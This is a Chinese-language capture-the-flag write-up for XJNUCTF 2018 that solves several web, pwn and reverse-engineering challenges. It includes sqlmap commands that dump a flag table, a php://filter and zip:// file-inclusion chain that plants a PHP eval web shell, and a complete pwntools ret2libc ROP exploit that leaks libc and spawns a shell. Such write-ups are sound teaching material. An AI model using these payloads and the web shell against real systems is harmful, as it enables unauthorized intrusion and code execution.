XJNUCTF-Writeup
2018/10/04

Web10

1

查看

2

得到提示 应该是注入

3

测试发现这里存在sql语句查询

所以用sqlmap这个工具跑一下就可以了

sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1"

4

确实存在注入

sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1" –tables

5

得到flag表 那我们dump出来看一下

sqlmap.py -u “http://ctf.xjnu.edu.cn:9900/web10/index.php?id=1" –dump -T flag

6

Web20

7

8

弹出提示 你不属于这里

猜测需要伪造访问ip

9

配置好burp代理

抓包伪造ip

10

提示未登录 修改0为1

11

她会提示你用的不是iphone 999

利用谷歌浏览器模拟iphone客户端

12

抓包

13

得到iPhonex的地址

修改os版本

14

得到flag

Web40

15

16

提示 flag就在index.php中 但是没办法查看 猜测为git泄露

使用工具githack

17

18

得到flag

Web100

19

20

发现url处存在文件包含

尝试读取upload.php源码

http://ctf.xjnu.edu.cn:666/index.php?file=php://filter/read=convert.base64-encode/resource=upload.php

21

Base64解密即可得到源码

22

发现upload目录可任意读取下载,

23

打开得到源码

24

过滤了%00

这里用到了王松师傅的思路

https://www.hackersb.cn/hacker/105.html

25

测试创建一个php文件

接着压缩修改后缀名为 ss.png

Exp

http://ctf.xjnu.edu.cn:666/index.php?file=zip://upload/ss.png%23he.html.php

成功执行命令

26

写入一句话

<?php @eval($_POST['a']); ?>

27

成功拿到shell

28

成功拿到flag

babypwn

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-70h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4, 0LL); //漏洞存在点
  puts("send success!");
  return 0;
}

程序很简单 没有多余的流程 漏洞也很明显

检查保护

ubuntu@ubuntu:~$ checksec babypwn
[*] '/home/ubuntu/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
ubuntu@ubuntu:~$

NX开启

思路:

通过溢出leak puts 从而得到libc版本 进而得到system地址及bin/sh地址

偏移计算 offset = 0x70+8

构造leak

寻找gadget

ubuntu@ubuntu:~$ ROPgadget --binary babypwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040071c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040071e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400720 : pop r14 ; pop r15 ; ret
0x0000000000400722 : pop r15 ; ret
0x000000000040071b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040071f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400595 : pop rbp ; ret
0x0000000000400723 : pop rdi ; ret  // 这里是我们需要的
0x0000000000400721 : pop rsi ; pop r15 ; ret
0x000000000040071d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004e1 : ret
0x00000000004005c5 : ret 0xc148

Unique gadgets found: 12
from pwn import *

p = process('./babypwn')
elf = ELF('babypwn')

puts_plt = elf.symbols['puts']

print 'puts_plt:'+hex(puts_plt)
puts_got = elf.got['puts']
print 'puts_got:'+hex(puts_got)
start_addr = 0x400550
pop_rdi=0x400723 #pop rdi ; ret

p.recvuntil("What do you plan to do?\n")

payload = 'A'*120+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
payload =  溢出偏移+pop_rdi_ret(因为64位下以寄存器传参)+给puts()赋值+循环地址(也可以是leak该puts的函数地址)
p.sendline(payload)
log.info(p.recvuntil("send success!\n"))
data = p.recvuntil('\n',drop=True)

puts = u64(data.ljust(8,'\x00'))

print hex(puts)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

通过https://libc.blukat.me 进行查询

libcsearch

找到libc版本 接着获取system地址及binsh地址

system = puts -libc.symbols['puts']+libc.symbols['system']
print hex(system)
binsh = next(libc.search('/bin/sh'))
binsh = puts - libc.symbols['puts'] + binsh
payload = 'A'*120+p64(pop_rdi)+p64(binsh)+p64(system) 
p.sendline(payload)
p.interactive()

成功getshell

RE50

29

使用IDA打开

30

定位到main函数

看到一些常量

31

拼接 即可获得flag

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!